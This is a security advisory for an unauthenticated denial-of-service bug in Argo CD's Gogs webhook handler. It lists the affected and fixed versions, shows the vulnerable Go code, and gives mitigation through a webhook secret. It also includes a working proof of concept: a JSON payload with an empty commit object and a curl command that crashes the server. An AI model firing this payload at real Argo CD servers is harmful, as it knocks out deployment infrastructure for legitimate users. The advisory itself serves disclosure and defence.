CVE-2025-59537 (GCVE-0-2025-59537)

Vulnerability from cvelistv5 – Published: 2025-10-01 21:01 – Updated: 2025-10-02 15:54

Title

argo-cd is vulnerable to unauthenticated DoS attack via malformed Gogs webhook payload

Summary

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.

Vulnerability from github – Published: 2025-09-30 18:28 – Updated: 2025-10-23 20:22

Summary

argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload

Details

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null.

Details

Users can access /api/webhook without authentication, and when accessing this endpoint, the Handler function parses webhook type messages according to the header (e.g. X-Gogs-Event) and body parameters provided by the user. The Parse function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched.

The affectedRevisionInfo function parses data according to webhook event types(e.g. gogsclient.PushPayload). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type.

func affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) {
    switch payload := payloadIf.(type) {
        // ...
        case gogsclient.PushPayload:
            webURLs = append(webURLs, payload.Repo.HTMLURL) // bug
            // ...
        }
    return webURLs, revision, change, touchedHead, changedFiles
}

PoC

payload-gogs.json

{
  "ref": "refs/heads/master",
  "before": "0000000000000000000000000000000000000000",
  "after": "0a05129851238652bf806a400af89fa974ade739",
  "commits": [{}]
}

curl -k -v https://argocd.example.com/api/webhook \
  -H 'X-Gogs-Event: push' \
  -H 'Content-Type: application/json' \
  --data-binary @/tmp/payload-gogs.json

An attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to /api/webhook.

    /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28

Mitigation

If you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.gogs.secret: <your base64-encoded secret here>
